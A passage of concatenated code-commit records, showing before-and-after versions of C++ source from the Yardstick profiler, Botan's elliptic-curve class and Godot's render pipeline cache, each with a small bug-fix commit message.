YS_API ysErrorCode YS_CALL _ysStartProfile()
{
std::unique_lock<std::mutex> lock(gMutex);
if (!gInitialized)
return ysErrorCode::Uninitialized;
if (gCapturing)
return ysErrorCode::AlreadyCapturing;
gActiveSink = gConfig.sink;
// notify the sink about all the currently known locations, counters, and regions
for (auto const& loc : gLocations)
gActiveSink->AddLocation(ysLocationId(&loc - gLocations.data() + 1), loc.file, loc.line, loc.func);
for (auto const& name : gCounters)
gActiveSink->AddCounter(ysCounterId(&name - gCounters.data() + 1), name);
for (auto const& name : gRegions)
gActiveSink->AddRegion(ysRegionId(&name - gRegions.data() + 1), name);
return ysErrorCode::Success;
}
YS_API ysErrorCode YS_CALL _ysStopProfile()
{
std::unique_lock<std::mutex> lock(gMutex);
if (!gCapturing)
return ysErrorCode::NotCapturing;
gActiveSink = &gNullSink;
return ysErrorCode::Success;
}
YS_API void* YS_CALL _ysAlloc(std::size_t size)
{
return gConfig.allocator(nullptr, size);
}
YS_API void YS_CALL _ysFree(void* ptr)
{
gConfig.allocator(ptr, 0);
}
YS_API ysLocationId YS_CALL _ysAddLocation(char const* fileName, int line, char const* functionName)
{
std::unique_lock<std::mutex> lock(gMutex);
YS_ASSERT(gInitialized, "Cannot register a location without initializing Yardstick first");
Location const location{ fileName, functionName, line };
size_t const index = FindValue(gLocations.data(), gLocations.data() + gLocations.size(), location);
auto const id = ysLocationId(index + 1);
if (index < gLocations.size())
return id;
gLocations.push_back(location);
gActiveSink->AddLocation(id, fileName, line, functionName);
return id;
}
YS_API ysCounterId YS_CALL _ysAddCounter(const char* counterName)
{
std::unique_lock<std::mutex> lock(gMutex);
YS_ASSERT(gInitialized, "Cannot register a counter without initializing Yardstick first");
// this may be a duplicate; return the existing one if so
size_t const index = FindIf(gCounters.data(), gCounters.data() + gCounters.size(), [=](char const* str){ return std::strcmp(str, counterName) == 0; });
auto const id = ysCounterId(index + 1);
if (index < gCounters.size())
return id;
gCounters.push_back(counterName);
gActiveSink->AddCounter(id, counterName);
return id;
}
YS_API ysRegionId YS_CALL _ysAddRegion(const char* zoneName)
{
std::unique_lock<std::mutex> lock(gMutex);
YS_ASSERT(gInitialized, "Cannot register a region without initializing Yardstick first");
// this may be a duplicate; return the existing one if so
size_t const index = FindIf(gRegions.data(), gRegions.data() + gRegions.size(), [=](char const* str){ return std::strcmp(str, zoneName) == 0; });
auto const id = ysRegionId(index + 1);
if (index < gRegions.size())
return id;
gRegions.push_back(zoneName);
gActiveSink->AddRegion(id, zoneName);
return id;
}
YS_API void YS_CALL _ysIncrementCounter(ysCounterId counterId, ysLocationId locationId, double amount)
{
auto const now = gConfig.readClock();
gActiveSink->IncrementCounter(counterId, locationId, now, amount);
}
YS_API void YS_CALL _ysEmitRegion(ysRegionId regionId, ysLocationId locationId, ysTime startTime, ysTime endTime)
{
gActiveSink->EmitRegion(regionId, locationId, startTime, endTime);
}
YS_API ysTime YS_CALL _ysReadClock()
{
return gConfig.readClock();
}
YS_API ysErrorCode YS_CALL _ysTick()
{
// can't tick without a context
if (!gInitialized)
return ysErrorCode::Uninitialized;
auto const now = gConfig.readClock();
gActiveSink->Tick(now);
return ysErrorCode::Success;
}
#endif // !defined(NO_YS)
<commit_msg>Fix to ysInitialize.<commit_after>// Copyright (C) 2014 Sean Middleditch, all rights reserverd.
#include "yardstick.h"
#if !defined(NO_YS)
#include <atomic>
#include <cstring>
#include <vector>
#include <mutex>
// we need this on Windows for the default clock
#if defined(_WIN32)
# define WIN32_LEAN_AND_MEAN
# include <windows.h>
#endif
namespace
{
/// Definition of a location.
/// @internal
struct Location
{
char const* file;
char const* func;
int line;
};
// we don't need actually identical locations; we just want to avoid sending strings too much
bool operator==(Location const& lhs, Location const& rhs)
{
return 0 == std::strcmp(lhs.file, rhs.file) &&
0 == std::strcmp(lhs.func, rhs.func) &&
lhs.line == rhs.line;
}
/// Default realloc() wrapper.
/// @internal
void* YS_CALL SystemAllocator(void* block, std::size_t bytes)
{
return realloc(block, bytes);
}
/// Default clock tick reader.
/// @internal
ysTime YS_CALL ReadSystemClock()
{
#if defined(_WIN32) || defined(_WIN64)
LARGE_INTEGER tmp;
QueryPerformanceCounter(&tmp);
return tmp.QuadPart;
#else
# error "Platform unsupported"
#endif
}
/// Default clock frequency reader.
/// @internal
ysTime YS_CALL ReadSystemFrequency()
{
#if defined(_WIN32) || defined(_WIN64)
LARGE_INTEGER tmp;
QueryPerformanceFrequency(&tmp);
return tmp.QuadPart;
#else
# error "Platform unsupported"
#endif
}
/// Find the index of a value in an array.
template <typename T>
std::size_t FindValue(T const* first, T const* last, T const& value)
{
for (T const* it = first; it != last; ++it)
if (*it == value)
return it - first;
return last - first;
}
/// Find the first occurance of a predicate in an array
template <typename T, typename Pred>
std::size_t FindIf(T const* first, T const* last, Pred const& pred)
{
for (T const* it = first; it != last; ++it)
if (pred(*it))
return it - first;
return last - first;
}
/// Default sink if none if provided, does nothing
/// @internal
class NullSink : public ysSink
{
public:
void YS_CALL BeginProfile(ysTime clockNow, ysTime clockFrequency) override {}
void YS_CALL EndProfile(ysTime clockNow) override {}
void YS_CALL AddLocation(ysLocationId locatonId, char const* fileName, int line, char const* functionName) override {}
void YS_CALL AddCounter(ysCounterId counterId, char const* counterName) override {}
void YS_CALL AddRegion(ysRegionId regionId, char const* zoneName) override {}
void YS_CALL IncrementCounter(ysCounterId counterId, ysLocationId locationId, uint64_t clockNow, double value) override {}
void YS_CALL EmitRegion(ysRegionId regionId, ysLocationId, ysTime clockStart, uint64_t clockEnd) override {}
void YS_CALL Tick(ysTime clockNow) override {}
} gNullSink;
/// Allocator using the main context.
/// @internal
template <typename T>
struct YsAllocator
{
using value_type = T;
T* allocate(std::size_t bytes);
void deallocate(T* block, std::size_t);
};
/// Default configuration.
/// @internal
struct DefaultConfiguration : ysConfiguration
{
DefaultConfiguration()
{
allocator = SystemAllocator;
readClock = ReadSystemClock;
readFrequency = ReadSystemFrequency;
sink = &gNullSink;
}
};
bool gInitialized = false;
bool gCapturing = false;
DefaultConfiguration gConfig;
ysSink* gActiveSink = &gNullSink;
std::vector<Location, YsAllocator<Location>> gLocations;
std::vector<char const*, YsAllocator<char const*>> gCounters;
std::vector<char const*, YsAllocator<char const*>> gRegions;
std::mutex gMutex;
}
template <typename T>
T* YsAllocator<T>::allocate(std::size_t count)
{
return static_cast<T*>(gConfig.allocator(nullptr, count * sizeof(T)));
}
template <typename T>
void YsAllocator<T>::deallocate(T* block, std::size_t)
{
gConfig.allocator(block, 0U);
}
ysErrorCode YS_API _ysInitialize(ysConfiguration const& config)
{
std::unique_lock<std::mutex> lock(gMutex);
// only allow initializing once per process
if (gInitialized)
return ysErrorCode::AlreadyInitialized;
// initialize the context with the user's configuration, if any
if (config.allocator != nullptr)
gConfig.allocator = config.allocator;
if (config.sink != nullptr)
gConfig.sink = config.sink;
if (config.readClock != nullptr)
gConfig.readClock = config.readClock;
if (config.readFrequency != nullptr)
gConfig.readFrequency = config.readFrequency;
gInitialized = true;
return ysErrorCode::Success;
}
ysErrorCode YS_API _ysShutdown()
{
// the user possibly didn't bother with StopProfile first
_ysStopProfile();
std::unique_lock<std::mutex> lock(gMutex);
if (!gInitialized)
return ysErrorCode::Uninitialized;
// do this first, so checks from here on out "just work"
gInitialized = false;
gLocations.clear();
gCounters.clear();
gRegions.clear();
gLocations.shrink_to_fit();
gCounters.shrink_to_fit();
gRegions.shrink_to_fit();
// note that we must free memory above before restoring allocator below
gConfig = DefaultConfiguration();
return ysErrorCode::Success;
}
YS_API ysErrorCode YS_CALL _ysStartProfile()
{
std::unique_lock<std::mutex> lock(gMutex);
if (!gInitialized)
return ysErrorCode::Uninitialized;
if (gCapturing)
return ysErrorCode::AlreadyCapturing;
gActiveSink = gConfig.sink;
// notify the sink about all the currently known locations, counters, and regions
for (auto const& loc : gLocations)
gActiveSink->AddLocation(ysLocationId(&loc - gLocations.data() + 1), loc.file, loc.line, loc.func);
for (auto const& name : gCounters)
gActiveSink->AddCounter(ysCounterId(&name - gCounters.data() + 1), name);
for (auto const& name : gRegions)
gActiveSink->AddRegion(ysRegionId(&name - gRegions.data() + 1), name);
return ysErrorCode::Success;
}
YS_API ysErrorCode YS_CALL _ysStopProfile()
{
std::unique_lock<std::mutex> lock(gMutex);
if (!gCapturing)
return ysErrorCode::NotCapturing;
gActiveSink = &gNullSink;
return ysErrorCode::Success;
}
YS_API void* YS_CALL _ysAlloc(std::size_t size)
{
return gConfig.allocator(nullptr, size);
}
YS_API void YS_CALL _ysFree(void* ptr)
{
gConfig.allocator(ptr, 0);
}
YS_API ysLocationId YS_CALL _ysAddLocation(char const* fileName, int line, char const* functionName)
{
std::unique_lock<std::mutex> lock(gMutex);
YS_ASSERT(gInitialized, "Cannot register a location without initializing Yardstick first");
Location const location{ fileName, functionName, line };
size_t const index = FindValue(gLocations.data(), gLocations.data() + gLocations.size(), location);
auto const id = ysLocationId(index + 1);
if (index < gLocations.size())
return id;
gLocations.push_back(location);
gActiveSink->AddLocation(id, fileName, line, functionName);
return id;
}
YS_API ysCounterId YS_CALL _ysAddCounter(const char* counterName)
{
std::unique_lock<std::mutex> lock(gMutex);
YS_ASSERT(gInitialized, "Cannot register a counter without initializing Yardstick first");
// this may be a duplicate; return the existing one if so
size_t const index = FindIf(gCounters.data(), gCounters.data() + gCounters.size(), [=](char const* str){ return std::strcmp(str, counterName) == 0; });
auto const id = ysCounterId(index + 1);
if (index < gCounters.size())
return id;
gCounters.push_back(counterName);
gActiveSink->AddCounter(id, counterName);
return id;
}
YS_API ysRegionId YS_CALL _ysAddRegion(const char* zoneName)
{
std::unique_lock<std::mutex> lock(gMutex);
YS_ASSERT(gInitialized, "Cannot register a region without initializing Yardstick first");
// this may be a duplicate; return the existing one if so
size_t const index = FindIf(gRegions.data(), gRegions.data() + gRegions.size(), [=](char const* str){ return std::strcmp(str, zoneName) == 0; });
auto const id = ysRegionId(index + 1);
if (index < gRegions.size())
return id;
gRegions.push_back(zoneName);
gActiveSink->AddRegion(id, zoneName);
return id;
}
YS_API void YS_CALL _ysIncrementCounter(ysCounterId counterId, ysLocationId locationId, double amount)
{
auto const now = gConfig.readClock();
gActiveSink->IncrementCounter(counterId, locationId, now, amount);
}
YS_API void YS_CALL _ysEmitRegion(ysRegionId regionId, ysLocationId locationId, ysTime startTime, ysTime endTime)
{
gActiveSink->EmitRegion(regionId, locationId, startTime, endTime);
}
YS_API ysTime YS_CALL _ysReadClock()
{
return gConfig.readClock();
}
YS_API ysErrorCode YS_CALL _ysTick()
{
// can't tick without a context
if (!gInitialized)
return ysErrorCode::Uninitialized;
auto const now = gConfig.readClock();
gActiveSink->Tick(now);
return ysErrorCode::Success;
}
#endif // !defined(NO_YS)
<|endoftext|>
|
<commit_before>/*
* Elliptic curves over GF(p)
*
* (C) 2007 Martin Doering, Christoph Ludwig, Falko Strenzke
* 2008 Jack Lloyd
*
* Distributed under the terms of the Botan license
*/
#include <botan/curve_gfp.h>
#include <botan/bigint.h>
#include <assert.h>
#include <ostream>
namespace Botan {
void CurveGFp::set_shrd_mod(const std::tr1::shared_ptr<GFpModulus> mod)
{
mp_mod = mod;
mA.turn_off_sp_red_mul();// m.m. is not needed, must be trf. back
mB.turn_off_sp_red_mul();// m.m. is not needed, must be trf. back
//ok, above we destroy any evantually computated montg. mult. values,
// but that won't influence performance in usual applications
mA.set_shrd_mod(mod);
mB.set_shrd_mod(mod);
}
CurveGFp::CurveGFp(const GFpElement& a, const GFpElement& b,
const BigInt& p)
: mA(a),
mB(b)
{
if(!((p == mA.get_p()) && (p == mB.get_p())))
{
throw Invalid_Argument("could not construct curve: moduli of arguments differ");
}
std::tr1::shared_ptr<GFpModulus> p_mod = std::tr1::shared_ptr<GFpModulus>(new GFpModulus(p));
// the above is the creation of the GFpModuls object which will be shared point-wide
// (in the context of a point of course)
set_shrd_mod(p_mod);
}
// copy constructor
CurveGFp::CurveGFp(const CurveGFp& other)
: mA(other.get_a()),
mB(other.get_b())
{
mp_mod = std::tr1::shared_ptr<GFpModulus>(new GFpModulus(*other.mp_mod));
assert(mp_mod->p_equal_to(mA.get_p()));
assert(mp_mod->p_equal_to(mB.get_p()));
set_shrd_mod(mp_mod);
if(other.mp_mres_a.get())
{
mp_mres_a = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_a));
}
if(other.mp_mres_b.get())
{
mp_mres_b = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_b));
}
if(other.mp_mres_one.get())
{
mp_mres_one = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_one));
}
}
// assignment operator
const CurveGFp& CurveGFp::operator=(const CurveGFp& other)
{
// for exception safety...
GFpElement a_tmp = other.mA;
GFpElement b_tmp = other.mB;
mA.swap(a_tmp);
mB.swap(b_tmp);
std::tr1::shared_ptr<GFpModulus> p_mod = std::tr1::shared_ptr<GFpModulus>(new GFpModulus(*other.mp_mod));
set_shrd_mod(p_mod);
// exception safety note: no problem if we have a throw from here on...
if(other.mp_mres_a.get())
{
mp_mres_a = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_a));
}
if(other.mp_mres_b.get())
{
mp_mres_b = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_b));
}
if(other.mp_mres_one.get())
{
mp_mres_one = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_one));
}
return *this;
}
// getters
const GFpElement& CurveGFp::get_a() const
{
return mA;
}
const GFpElement& CurveGFp::get_b() const
{
return mB;
}
const BigInt CurveGFp::get_p() const
{
assert(mp_mod.get() != 0);
return mp_mod->get_p();
}
// swaps the states of *this and other, does not throw
void CurveGFp::swap(CurveGFp& other)
{
mA.swap(other.mA);
mB.swap(other.mB);
mp_mod.swap(other.mp_mod);
std::swap(mp_mres_a, other.mp_mres_a);
std::swap(mp_mres_b, other.mp_mres_b);
std::swap(mp_mres_one, other.mp_mres_one);
}
GFpElement const CurveGFp::get_mres_a() const
{
if(mp_mres_a.get() == 0)
{
mp_mres_a = std::tr1::shared_ptr<GFpElement>(new GFpElement(mA));
mp_mres_a->turn_on_sp_red_mul();
mp_mres_a->get_mres();
}
return GFpElement(*mp_mres_a);
}
GFpElement const CurveGFp::get_mres_b() const
{
if(mp_mres_b.get() == 0)
{
mp_mres_b = std::tr1::shared_ptr<GFpElement>(new GFpElement(mB));
mp_mres_b->turn_on_sp_red_mul();
mp_mres_b->get_mres();
}
return GFpElement(*mp_mres_b);
}
std::tr1::shared_ptr<GFpElement const> const CurveGFp::get_mres_one() const
{
if(mp_mres_one.get() == 0)
{
mp_mres_one = std::tr1::shared_ptr<GFpElement>(new GFpElement(mp_mod->get_p(), 1));
mp_mres_one->turn_on_sp_red_mul();
mp_mres_one->get_mres();
}
return mp_mres_one;
}
bool operator==(const CurveGFp& lhs, const CurveGFp& rhs)
{
return (lhs.get_p() == rhs.get_p() && lhs.get_a() == rhs.get_a() && lhs.get_b() == rhs.get_b());
}
std::ostream& operator<<(std::ostream& output, const CurveGFp& elem)
{
return output << "y^2f = x^3 + (" << elem.get_a() << ")x + (" << elem.get_b() << ")";
}
}
<commit_msg>Remove extra 'f' char in ostream output<commit_after>/*
* Elliptic curves over GF(p)
*
* (C) 2007 Martin Doering, Christoph Ludwig, Falko Strenzke
* 2008 Jack Lloyd
*
* Distributed under the terms of the Botan license
*/
#include <botan/curve_gfp.h>
#include <botan/bigint.h>
#include <assert.h>
#include <ostream>
namespace Botan {
void CurveGFp::set_shrd_mod(const std::tr1::shared_ptr<GFpModulus> mod)
{
mp_mod = mod;
mA.turn_off_sp_red_mul();// m.m. is not needed, must be trf. back
mB.turn_off_sp_red_mul();// m.m. is not needed, must be trf. back
//ok, above we destroy any evantually computated montg. mult. values,
// but that won't influence performance in usual applications
mA.set_shrd_mod(mod);
mB.set_shrd_mod(mod);
}
CurveGFp::CurveGFp(const GFpElement& a, const GFpElement& b,
const BigInt& p)
: mA(a),
mB(b)
{
if(!((p == mA.get_p()) && (p == mB.get_p())))
{
throw Invalid_Argument("could not construct curve: moduli of arguments differ");
}
std::tr1::shared_ptr<GFpModulus> p_mod = std::tr1::shared_ptr<GFpModulus>(new GFpModulus(p));
// the above is the creation of the GFpModuls object which will be shared point-wide
// (in the context of a point of course)
set_shrd_mod(p_mod);
}
// copy constructor
CurveGFp::CurveGFp(const CurveGFp& other)
: mA(other.get_a()),
mB(other.get_b())
{
mp_mod = std::tr1::shared_ptr<GFpModulus>(new GFpModulus(*other.mp_mod));
assert(mp_mod->p_equal_to(mA.get_p()));
assert(mp_mod->p_equal_to(mB.get_p()));
set_shrd_mod(mp_mod);
if(other.mp_mres_a.get())
{
mp_mres_a = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_a));
}
if(other.mp_mres_b.get())
{
mp_mres_b = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_b));
}
if(other.mp_mres_one.get())
{
mp_mres_one = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_one));
}
}
// assignment operator
const CurveGFp& CurveGFp::operator=(const CurveGFp& other)
{
// for exception safety...
GFpElement a_tmp = other.mA;
GFpElement b_tmp = other.mB;
mA.swap(a_tmp);
mB.swap(b_tmp);
std::tr1::shared_ptr<GFpModulus> p_mod = std::tr1::shared_ptr<GFpModulus>(new GFpModulus(*other.mp_mod));
set_shrd_mod(p_mod);
// exception safety note: no problem if we have a throw from here on...
if(other.mp_mres_a.get())
{
mp_mres_a = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_a));
}
if(other.mp_mres_b.get())
{
mp_mres_b = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_b));
}
if(other.mp_mres_one.get())
{
mp_mres_one = std::tr1::shared_ptr<GFpElement>(new GFpElement(*other.mp_mres_one));
}
return *this;
}
// getters
const GFpElement& CurveGFp::get_a() const
{
return mA;
}
const GFpElement& CurveGFp::get_b() const
{
return mB;
}
const BigInt CurveGFp::get_p() const
{
assert(mp_mod.get() != 0);
return mp_mod->get_p();
}
// swaps the states of *this and other, does not throw
void CurveGFp::swap(CurveGFp& other)
{
mA.swap(other.mA);
mB.swap(other.mB);
mp_mod.swap(other.mp_mod);
std::swap(mp_mres_a, other.mp_mres_a);
std::swap(mp_mres_b, other.mp_mres_b);
std::swap(mp_mres_one, other.mp_mres_one);
}
GFpElement const CurveGFp::get_mres_a() const
{
if(mp_mres_a.get() == 0)
{
mp_mres_a = std::tr1::shared_ptr<GFpElement>(new GFpElement(mA));
mp_mres_a->turn_on_sp_red_mul();
mp_mres_a->get_mres();
}
return GFpElement(*mp_mres_a);
}
GFpElement const CurveGFp::get_mres_b() const
{
if(mp_mres_b.get() == 0)
{
mp_mres_b = std::tr1::shared_ptr<GFpElement>(new GFpElement(mB));
mp_mres_b->turn_on_sp_red_mul();
mp_mres_b->get_mres();
}
return GFpElement(*mp_mres_b);
}
std::tr1::shared_ptr<GFpElement const> const CurveGFp::get_mres_one() const
{
if(mp_mres_one.get() == 0)
{
mp_mres_one = std::tr1::shared_ptr<GFpElement>(new GFpElement(mp_mod->get_p(), 1));
mp_mres_one->turn_on_sp_red_mul();
mp_mres_one->get_mres();
}
return mp_mres_one;
}
bool operator==(const CurveGFp& lhs, const CurveGFp& rhs)
{
return (lhs.get_p() == rhs.get_p() && lhs.get_a() == rhs.get_a() && lhs.get_b() == rhs.get_b());
}
std::ostream& operator<<(std::ostream& output, const CurveGFp& elem)
{
return output << "y^2 = x^3 + (" << elem.get_a() << ")x + (" << elem.get_b() << ")";
}
}
<|endoftext|>
|
<commit_before>/*************************************************************************/
/* pipeline_cache_rd.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* https://godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2021 Juan Linietsky, Ariel Manzur. */
/* Copyright (c) 2014-2021 Godot Engine contributors (cf. AUTHORS.md). */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "pipeline_cache_rd.h"
#include "core/os/memory.h"
RID PipelineCacheRD::_generate_version(RD::VertexFormatID p_vertex_format_id, RD::FramebufferFormatID p_framebuffer_format_id, bool p_wireframe, uint32_t p_render_pass, uint32_t p_bool_specializations) {
RD::PipelineMultisampleState multisample_state_version = multisample_state;
multisample_state_version.sample_count = RD::get_singleton()->framebuffer_format_get_texture_samples(p_framebuffer_format_id, p_render_pass);
RD::PipelineRasterizationState raster_state_version = rasterization_state;
raster_state_version.wireframe = p_wireframe;
Vector<RD::PipelineSpecializationConstant> specialization_constants = base_specialization_constants;
uint32_t bool_index = 0;
uint32_t bool_specializations = p_bool_specializations;
while (bool_specializations) {
if (bool_specializations & (1 << bool_index)) {
RD::PipelineSpecializationConstant sc;
sc.bool_value = true;
sc.constant_id = bool_index;
sc.type = RD::PIPELINE_SPECIALIZATION_CONSTANT_TYPE_BOOL;
specialization_constants.push_back(sc);
bool_specializations &= ~(1 << bool_index);
}
bool_index++;
}
RID pipeline = RD::get_singleton()->render_pipeline_create(shader, p_framebuffer_format_id, p_vertex_format_id, render_primitive, raster_state_version, multisample_state_version, depth_stencil_state, blend_state, dynamic_state_flags, p_render_pass, specialization_constants);
ERR_FAIL_COND_V(pipeline.is_null(), RID());
versions = (Version *)memrealloc(versions, sizeof(Version) * (version_count + 1));
versions[version_count].framebuffer_id = p_framebuffer_format_id;
versions[version_count].vertex_id = p_vertex_format_id;
versions[version_count].wireframe = p_wireframe;
versions[version_count].pipeline = pipeline;
versions[version_count].render_pass = p_render_pass;
versions[version_count].bool_specializations = p_bool_specializations;
version_count++;
return pipeline;
}
void PipelineCacheRD::_clear() {
#ifndef _MSC_VER
#warning Clear should probably recompile all the variants already compiled instead to avoid stalls? needs discussion
#endif
if (versions) {
for (uint32_t i = 0; i < version_count; i++) {
//shader may be gone, so this may not be valid
if (RD::get_singleton()->render_pipeline_is_valid(versions[i].pipeline)) {
RD::get_singleton()->free(versions[i].pipeline);
}
}
version_count = 0;
memfree(versions);
versions = nullptr;
}
}
void PipelineCacheRD::setup(RID p_shader, RD::RenderPrimitive p_primitive, const RD::PipelineRasterizationState &p_rasterization_state, RD::PipelineMultisampleState p_multisample, const RD::PipelineDepthStencilState &p_depth_stencil_state, const RD::PipelineColorBlendState &p_blend_state, int p_dynamic_state_flags, const Vector<RD::PipelineSpecializationConstant> &p_base_specialization_constants) {
ERR_FAIL_COND(p_shader.is_null());
_clear();
shader = p_shader;
input_mask = RD::get_singleton()->shader_get_vertex_input_attribute_mask(p_shader);
render_primitive = p_primitive;
rasterization_state = p_rasterization_state;
multisample_state = p_multisample;
depth_stencil_state = p_depth_stencil_state;
blend_state = p_blend_state;
dynamic_state_flags = p_dynamic_state_flags;
base_specialization_constants = p_base_specialization_constants;
}
void PipelineCacheRD::update_specialization_constants(const Vector<RD::PipelineSpecializationConstant> &p_base_specialization_constants) {
base_specialization_constants = p_base_specialization_constants;
_clear();
}
void PipelineCacheRD::update_shader(RID p_shader) {
ERR_FAIL_COND(p_shader.is_null());
_clear();
setup(p_shader, render_primitive, rasterization_state, multisample_state, depth_stencil_state, blend_state, dynamic_state_flags);
}
void PipelineCacheRD::clear() {
_clear();
shader = RID(); //clear shader
input_mask = 0;
}
PipelineCacheRD::PipelineCacheRD() {
version_count = 0;
versions = nullptr;
input_mask = 0;
}
PipelineCacheRD::~PipelineCacheRD() {
_clear();
}
<commit_msg>Fix `wireframe` render mode<commit_after>/*************************************************************************/
/* pipeline_cache_rd.cpp */
/*************************************************************************/
/* This file is part of: */
/* GODOT ENGINE */
/* https://godotengine.org */
/*************************************************************************/
/* Copyright (c) 2007-2021 Juan Linietsky, Ariel Manzur. */
/* Copyright (c) 2014-2021 Godot Engine contributors (cf. AUTHORS.md). */
/* */
/* Permission is hereby granted, free of charge, to any person obtaining */
/* a copy of this software and associated documentation files (the */
/* "Software"), to deal in the Software without restriction, including */
/* without limitation the rights to use, copy, modify, merge, publish, */
/* distribute, sublicense, and/or sell copies of the Software, and to */
/* permit persons to whom the Software is furnished to do so, subject to */
/* the following conditions: */
/* */
/* The above copyright notice and this permission notice shall be */
/* included in all copies or substantial portions of the Software. */
/* */
/* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, */
/* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF */
/* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.*/
/* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY */
/* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, */
/* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE */
/* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
/*************************************************************************/
#include "pipeline_cache_rd.h"
#include "core/os/memory.h"
RID PipelineCacheRD::_generate_version(RD::VertexFormatID p_vertex_format_id, RD::FramebufferFormatID p_framebuffer_format_id, bool p_wireframe, uint32_t p_render_pass, uint32_t p_bool_specializations) {
RD::PipelineMultisampleState multisample_state_version = multisample_state;
multisample_state_version.sample_count = RD::get_singleton()->framebuffer_format_get_texture_samples(p_framebuffer_format_id, p_render_pass);
bool wireframe = p_wireframe || rasterization_state.wireframe;
RD::PipelineRasterizationState raster_state_version = rasterization_state;
raster_state_version.wireframe = wireframe;
Vector<RD::PipelineSpecializationConstant> specialization_constants = base_specialization_constants;
uint32_t bool_index = 0;
uint32_t bool_specializations = p_bool_specializations;
while (bool_specializations) {
if (bool_specializations & (1 << bool_index)) {
RD::PipelineSpecializationConstant sc;
sc.bool_value = true;
sc.constant_id = bool_index;
sc.type = RD::PIPELINE_SPECIALIZATION_CONSTANT_TYPE_BOOL;
specialization_constants.push_back(sc);
bool_specializations &= ~(1 << bool_index);
}
bool_index++;
}
RID pipeline = RD::get_singleton()->render_pipeline_create(shader, p_framebuffer_format_id, p_vertex_format_id, render_primitive, raster_state_version, multisample_state_version, depth_stencil_state, blend_state, dynamic_state_flags, p_render_pass, specialization_constants);
ERR_FAIL_COND_V(pipeline.is_null(), RID());
versions = (Version *)memrealloc(versions, sizeof(Version) * (version_count + 1));
versions[version_count].framebuffer_id = p_framebuffer_format_id;
versions[version_count].vertex_id = p_vertex_format_id;
versions[version_count].wireframe = wireframe;
versions[version_count].pipeline = pipeline;
versions[version_count].render_pass = p_render_pass;
versions[version_count].bool_specializations = p_bool_specializations;
version_count++;
return pipeline;
}
void PipelineCacheRD::_clear() {
#ifndef _MSC_VER
#warning Clear should probably recompile all the variants already compiled instead to avoid stalls? needs discussion
#endif
if (versions) {
for (uint32_t i = 0; i < version_count; i++) {
//shader may be gone, so this may not be valid
if (RD::get_singleton()->render_pipeline_is_valid(versions[i].pipeline)) {
RD::get_singleton()->free(versions[i].pipeline);
}
}
version_count = 0;
memfree(versions);
versions = nullptr;
}
}
void PipelineCacheRD::setup(RID p_shader, RD::RenderPrimitive p_primitive, const RD::PipelineRasterizationState &p_rasterization_state, RD::PipelineMultisampleState p_multisample, const RD::PipelineDepthStencilState &p_depth_stencil_state, const RD::PipelineColorBlendState &p_blend_state, int p_dynamic_state_flags, const Vector<RD::PipelineSpecializationConstant> &p_base_specialization_constants) {
ERR_FAIL_COND(p_shader.is_null());
_clear();
shader = p_shader;
input_mask = RD::get_singleton()->shader_get_vertex_input_attribute_mask(p_shader);
render_primitive = p_primitive;
rasterization_state = p_rasterization_state;
multisample_state = p_multisample;
depth_stencil_state = p_depth_stencil_state;
blend_state = p_blend_state;
dynamic_state_flags = p_dynamic_state_flags;
base_specialization_constants = p_base_specialization_constants;
}
void PipelineCacheRD::update_specialization_constants(const Vector<RD::PipelineSpecializationConstant> &p_base_specialization_constants) {
base_specialization_constants = p_base_specialization_constants;
_clear();
}
void PipelineCacheRD::update_shader(RID p_shader) {
ERR_FAIL_COND(p_shader.is_null());
_clear();
setup(p_shader, render_primitive, rasterization_state, multisample_state, depth_stencil_state, blend_state, dynamic_state_flags);
}
void PipelineCacheRD::clear() {
_clear();
shader = RID(); //clear shader
input_mask = 0;
}
PipelineCacheRD::PipelineCacheRD() {
version_count = 0;
versions = nullptr;
input_mask = 0;
}
PipelineCacheRD::~PipelineCacheRD() {
_clear();
}
<|endoftext|>
|
<commit_before>// Copyright Hugh Perkins 2016, 2017
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
// http://www.apache.org/licenses/LICENSE-2.0
// Unless required by applicable law or agreed to in writing, software
